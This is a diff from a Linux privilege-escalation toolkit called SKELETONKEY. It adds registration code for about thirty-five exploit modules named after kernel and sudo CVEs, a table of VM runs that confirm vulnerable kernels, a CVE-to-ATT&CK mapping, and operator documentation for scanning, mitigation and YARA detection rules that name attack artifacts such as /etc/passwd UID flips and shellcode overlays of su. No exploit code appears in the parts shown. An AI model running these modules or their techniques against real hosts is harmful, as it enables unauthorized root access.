#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
@@ -3,6 +3,11 @@
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
@@ -47,5 +47,20 @@ void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
@@ -0,0 +1,236 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
@@ -41,12 +41,23 @@ make it part of your daily ops" guide.
|
||||
# Daily/weekly hygiene check
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
@@ -168,6 +179,70 @@ skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
